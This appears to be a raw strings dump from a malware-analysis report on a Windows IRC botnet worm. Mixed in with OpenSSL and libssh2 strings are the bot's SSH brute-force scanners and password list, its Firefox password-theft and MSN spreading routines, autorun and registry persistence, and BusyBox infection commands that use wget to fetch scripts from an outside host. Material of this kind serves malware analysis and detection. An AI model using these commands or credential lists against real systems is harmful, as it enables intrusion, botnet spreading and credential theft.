.\crypto\ec\ec_key.c

EC_PRIVATEKEY

publicKey

privateKey

value.implicitlyCA

value.parameters

value.named_curve

p.char_two

p.prime

p.ppBasis

p.tpBasis

p.onBasis

p.other

EVP_CIPHER_key_length(cipher)

USER32.DLL

NETAPI32.DLL

KERNEL32.DLL

ADVAPI32.DLL

lhash part of OpenSSL 0.9.8j 07 Jan 2009

Stack part of OpenSSL 0.9.8j 07 Jan 2009

.\crypto\dh\dh_key.c

ASN.1 part of OpenSSL 0.9.8j 07 Jan 2009

value.single

value.set

.\crypto\evp\evp_key.c

nkey

cert_info

EC part of OpenSSL 0.9.8j 07 Jan 2009

ECDSA part of OpenSSL 0.9.8j 07 Jan 2009

PKCS8_PRIV_KEY_INFO

pkey

pkeyalg

.\crypto\evp\evp_pkey.c

keylen

.\crypto\pkcs12\p12_key.c

RC2 part of OpenSSL 0.9.8j 07 Jan 2009

IDEA part of OpenSSL 0.9.8j 07 Jan 2009

AUTHORITY_KEYID

keyid

X509_CERT_PAIR

X509_CERT_AUX

keylength

keyfunc

MD2 part of OpenSSL 0.9.8j 07 Jan 2009

%'%1$=%C%K%O%s%

.%.-.3.7.9.?.W.[.o.y.

C%C'C3C7C9COCWCiC

Verifying - %s

%lu:%s:%s:%d:%s

error:lX:%s:%s:%s

d.usernotice

d.cpsuri

CERTIFICATEPOLICIES

%*sCPS: %s

%*sExplicit Text: %s

%*sNumber%s:

%*sOrganization: %s

d.registeredID

d.iPAddress

d.uniformResourceIdentifier

d.ediPartyName

d.directoryName

d.dNSName

d.rfc822Name

d.otherName

value.bag

value.safes

value.shkeybag

value.keybag

value.sdsicert

value.x509cert

value.other

'() ,-./:=?

CONF part of OpenSSL 0.9.8j 07 Jan 2009

%d.%d.%d.%d/%d.%d.%d.%d

%*s%s:

%*sPolicy Text: %s

%*scrlUrl:

EXTENDED_KEY_USAGE

%*sZone: %s, User:

certificateHold

Certificate Hold

cessationOfOperation

Cessation Of Operation

keyCompromise

Key Compromise

name.relativename

name.fullname

.\crypto\x509v3\v3_akey.c

IP Address:%d.%d.%d.%d

URI:%s

DNS:%s

email:%s

EdiPartyName:

X400Name:

othername:

PKEY_USAGE_PERIOD

keyCertSign

Certificate Sign

keyAgreement

Key Agreement

keyEncipherment

Key Encipherment

.\crypto\x509v3\v3_skey.c

CONF_def part of OpenSSL 0.9.8j 07 Jan 2009

[[%s]]

[%s] %s=%s

PROXY_CERT_INFO_EXTENSION

crlUrl

certStatus

certId

OCSP_CERTSTATUS

value.unknown

value.revoked

value.good

value.byKey

value.byName

reqCert

OCSP_CERTID

issuerKeyHash

%s - d:d:d %d%s

\X

- %-15s

%s.dll

1.2.3

__MSVCRT_HEAP_SELECT

DI32.dll

reptile.exe

libssh2_banner_set

libssh2_base64_decode

libssh2_channel_close

libssh2_channel_direct_tcpip_ex

libssh2_channel_eof

libssh2_channel_flush_ex

libssh2_channel_forward_accept

libssh2_channel_forward_cancel

libssh2_channel_forward_listen_ex

libssh2_channel_free

libssh2_channel_get_exit_status

libssh2_channel_handle_extended_data

libssh2_channel_handle_extended_data2

libssh2_channel_open_ex

libssh2_channel_process_startup

libssh2_channel_read_ex

libssh2_channel_receive_window_adjust

libssh2_channel_request_pty_ex

libssh2_channel_request_pty_size_ex

libssh2_channel_send_eof

libssh2_channel_set_blocking

libssh2_channel_setenv_ex

libssh2_channel_wait_closed

libssh2_channel_wait_eof

libssh2_channel_window_read_ex

libssh2_channel_window_write_ex

libssh2_channel_write_ex

libssh2_channel_x11_req_ex

libssh2_hostkey_hash

libssh2_poll

libssh2_poll_channel_read

libssh2_session_abstract

libssh2_session_block_directions

libssh2_session_callback_set

libssh2_session_disconnect_ex

libssh2_session_flag

libssh2_session_free

libssh2_session_get_blocking

libssh2_session_init_ex

libssh2_session_last_errno

libssh2_session_last_error

libssh2_session_method_pref

libssh2_session_methods

libssh2_session_set_blocking

libssh2_session_startup

libssh2_trace

libssh2_userauth_authenticated

libssh2_userauth_hostbased_fromfile_ex

libssh2_userauth_keyboard_interactive_ex

libssh2_userauth_list

libssh2_userauth_password_ex

libssh2_userauth_publickey_fromfile_ex

sshspreadscan

sshgodscan

sshadminscan

ntpass

Exploit FTPD: %d, Total: %d.

%s: %d,

%s Exploit Statistics:

%s.%s.%s.%s

%s Scan not active.

%s Current IP: %s.

%s Server started, Port: %i, File: %s.

%d.%d.%d.%d

%s Finished at %s:%d after %d minute(s) of scanning.

%s %s:%d, Scan thread: %d, Sub-thread: %d.

%s Failed to initialize critical section, error:

%s Portscan: %s:%d open.

Failed auth by %s(%s@%s)

Whats up %s? Im ready to rock!

Spy: %s!%s@%s (PM: "%s")

Fail by: %s!%s@%s (Pass Tried: %s)

%s out.

%s already running: .

Failed to start thread %s, error: .

[Current task] %s [System uptime] %s [Bot Uptime] %s

Bot installed on: %s.

Go fuck yourself %s.

MSN// Message & Zipfile sent to: %d contacts.

I tried to fool %d morons.

MSN// Sent Stats - Messages: %d :: Files: %d :: Message & Files: %d.

Removed by: %s!%s@%s

Advapi.dll Failed

PStore.dll Failed.

%s Failed to parse command.

%s Failed to start scan thread, error: .

%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.

%s No subnet class specified, try "-a" or "-b" or "-c"

%s Could not parse external IP.

%s Trying to get external IP.

%s Failed to start scan, no IP specified.

%d.x.x.x

%s Failed to start scan, port is invalid.

%s Already scanning with %d threads. Too many specified.

Updating from %s (%s)

%stempfile%d%d%d%d%d.exe

Downloading %s and saving it to: %s.

Failed to start socks4 daemon (%s)

Socks(4) server started on %s:%i

Starting firefox pstore

FIREFOX Threads

Process Finished: "%s", Total Running Time: %s.

File executed: %s

Unable to create process: "%s"

%s Couldn't parse path, error:

%.1fkb downloaded to %s (%.1fkbps)

Couldn't open file for writing: %s.

PK11_CheckUserPassword

PK11_GetInternalKeySlot

softokn3.dll

sqlite3.dll

nssutil3.dll

plds4.dll

nspr4.dll

mozcrt19.dll

nss3.dll

plc4.dll

%s %s:%s

SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command

\profiles.ini

Application Data\Mozilla\Firefox

signons3.txt

signons2.txt

signons1.txt

%s File transfer complete to IP: %s.

%s File transfer complete to IP: %s, File: %s, Size: %s bytes, Total sends: %i.

%s Started send to IP: %s.

200 PORT command successful.

PORT

%s %s LIST request from: %s

425 Passive not supported on this server

215 StnyFtpd

331 Password required

%s %s

%s Couldn't open data connection to: %s:%i, error: .

Ping Timeout? (%d-%d)%d/%d

Login list completed!

%s!%s@%s

Logins:

USER varun * 0 :%s

NICK %s

[%s|%s|%s|%s|%s]

[NeW|%s|%s|%s|%s|%s]

winsys.txt

TskMultiChatForm.UnicodeClass

__oxFrame.class__

PASS %s

QUIT %s

PONG %s

NICK

PRIVMSG

JOIN

NOTICE %s :%s

PRIVMSG %s :%s

JOIN %s

JOIN %s %s

PART %s

[%s|%s]

shlwapi.dll

pstorec.dll

psapi.dll

userenv.dll

SQLDisconnect

SQLFreeHandle

SQLAllocHandle

SQLExecDirect

SQLSetEnvAttr

SQLDriverConnect

odbc32.dll

ShellExecuteA

shell32.dll

mpr.dll

GetUdpTable

GetTcpTable

iphlpapi.dll

dnsapi.dll

netapi32.dll

Mozilla/4.0 (compatible)

InternetCrackUrlA

InternetOpenUrlA

FtpPutFileA

FtpGetFileA

HttpSendRequestA

HttpOpenRequestA

wininet.dll

ws2_32.dll

RegEnumKeyExA

advapi32.dll

user32.dll

kernel32.dll

%s!%s@%s

NICK [%s|%s|%s|%s|%s]

https:/

http:/

system32.exe

Windows Data Serivce

EFTP//

ftpd.exe

fucks.fflyy.su

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

%s\%s

No %s thread found.

%s thread stopped.

[.ShellClassInfo]

CLSID={645FF040-5081-101B-9F08-00AA002F954E}

\Desktop.ini

\autorun.inf

icon=%SystemRoot%\system32\SHELL32.dll,4

hXXp://VVV.whatismyip.com

hXXp://checkip.dyndns.org

del "%s">nul

if exist "%s" goto Repeat

ping 0.0.0.0>nul

%s\removeMe%i%i%i%i.bat

%s%%s

%d day%s (%0.2d hours & %0.2d mins)

!@#$%^&*

passwd

01010101

10101010

rootwebmaster

rootwebadmin

ftpuserftpuser

mysqlmysql

pgsqlpgsql

webweb

webmasterwebmaster

ftpserver

webserver

webadmin

webadmin1

webmaster

0987654321

1234567890

1234567

monkey1

PaSsWoRd

69696969

mypass

12341234

7654321

87654321

monkey

password1

newpass

systempass

%s %s: SSH USELESS: root@%s %s .

%s %s: SSH WIN: root@%s %s .

password

12345678

%s %s: SSH LOL: root:%s@%s .

BusyBox Infected!!! %s.

busybox wget hXXp://wireless.kei.su//bbsh

wget hXXp://wireless.kei.su/wgsh

BusyBox Fail@ShellOpen: %s.

BusyBox Fail@PtyOpen: %s.

BusyBox Fail@ChannelOpen: %s.

Setting local Banner: %s

Setting Callback %d

Unable to ask for ssh-userauth service

Would block asking for ssh-userauth service

ssh-userauth

Unable to exchange encryption keys

Would block exchanging encryption keys

session_startup for socket %d

Received Banner: %s

SSH-2.0-libssh2_1.0

Disconnecting: reason=%d, desc=%s, lang=%s

Setting blocking mode on session %d

Invalid descriptor passed to libssh2_poll()

Permitted auth methods: %s

ssh-connection

Unable to send userauth-password-change request

Unable to allocate memory for userauth-password-change request

Password expired, and callback failed

Password Expired, and no callback specified

Password authentication successful

Password change required

Unable to send userauth-password request

Attempting to login using password authentication

Unable to allocate memory for userauth-password request

Invalid signature for supplied public key, or bad username/public key combination

Invalid key data, not base64 encoded

Invalid public key data

Missing public key data

Unable to read public key from file

Unable to allocate memory for public key data

Invalid data in public key file

Unable to open public key file

Loading public key file: %s

Unable to initialize private key from file

No handler for specified private key

Loading private key file: %s

Publickey authentication successful

Attempting publickey authentication -- phase 2

Failed allocating additional space for userauth-publickey packet

Username/PublicKey combination invalid

Pubkey authentication prematurely successful

Unable to send userauth-publickey request

Attempting publickey authentication

publickey

Keyboard-interactive authentication successful

Unable to send userauth-keyboard-interactive request

Unable to allocate memory for keyboard-interactive prompt message

Unable to allocate memory for keyboard-interactive response packet

Keyboard-interactive response callback function invoked

Unable to allocate memory for keyboard-interactive responses array

Unable to allocate memory for keyboard-interactive prompts array

Unable to allocate memory for keyboard-interactive 'instruction' request field

Unable to allocate memory for keyboard-interactive 'name' request field

Unable to send keyboard-interactive request

Attempting keyboard-interactive authentication

keyboard-interactive

Unable to allocate memory for keyboard-interactive authentication

Opening Channel - win %d pack %d

direct-tcpip

Unable to allocate memory for direct-tcpip connection

Requesting direct-tcpip session to from %s:%d to %s:%d

Dynamic tcpip-forward port allocated: %d

0.0.0.0

tcpip-forward

Requesting tcpip-forward session for %s:%d

cancel-tcpip-forward

Cancelling tcpip-forward session for %s:%d

Setting remote environment variable: %s=%s on channel %lu/%lu

Requesting x11-req for channel %lu/%lu: single=%d proto=%s cookie=%s screen=%d

starting request(%s) on channel %lu/%lu, message=%s

Flushing %d bytes of data from stream %lu on channel %lu/%lu

Setting channel %lu/%lu handle_extended_data mode to %d

Reading %d of buffered data from %lu/%lu/%d

Attempting to read %d bytes from channel %lu/%lu stream #%d

libssh2_packet_write returned EAGAIN

Sending %d bytes on channel %lu/%lu, stream_id=%d

Splitting write block due to %lu byte packet_size on %lu/%lu/%d

Splitting write block due to %lu byte window_size on %lu/%lu/%d

Writing %d bytes on channel %lu/%lu, stream #%d

libssh2_channel_wait_closed() invoked when channel is not in EOF state

Renegotiating Keys

Unable to allocate memory for LIBSSH2_PACKET

X11 Connection Received from %s:%ld on channel %lu

Remote received connection from %s:%ld to %s:%ld

forwarded-tcpip

Ignoring extended data and refunding %d bytes

Debug Packet: %s

Disconnect(%d): %s(%s)

Packet type %d received, length=%d

Looking for packet of type: %d

May block until packet of type %d becomes available

Redirecting into the key re-exchange

Initiating Diffie-Hellman Group1 Key Exchange

Server to Client HMAC Key calculated

Client to Server HMAC Key calculated

Server to Client IV and Key calculated

Client to Server IV and Key calculated

Received NEWKEYS message

Timed out waiting for NEWKEYS

Unable to send NEWKEYS message

Sending NEWKEYS message

Unable to verify hostkey signature

Unable to initialize hostkey importer

Unable to allocate memory for a copy of the host key

Burnt packet of type: x

Sending KEX packet %d

Initiating Diffie-Hellman Group14 Key Exchange

Unrecoverable error exchanging keys

Agreed on COMP_SC method: %s

Agreed on COMP_CS method: %s

Agreed on MAC_SC method: %s

Agreed on MAC_CS method: %s

Agreed on CRYPT_SC method: %s

Agreed on CRYPT_CS method: %s

Agreed on HOSTKEY method: %s

Agreed on KEX method: %s

The requested method(s) are not currently supported

ssh-dss

ssh-rsa

hmac-ripemd160@openssh.com

rijndael-cbc@lysator.liu.se

?456789:;

!"#$%&'()* ,-./0123

zcÃ

192.168.1.134

%System%.exe

GetWindowsDirectoryA

GetCPInfo

RegCreateKeyExA

RegOpenKeyExA

RegCloseKey

ReportEventA

VkKeyScanA

GetProcessWindowStation

keybd_event

.text

`.rdata

@.data

.rsrc

PU%UI

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps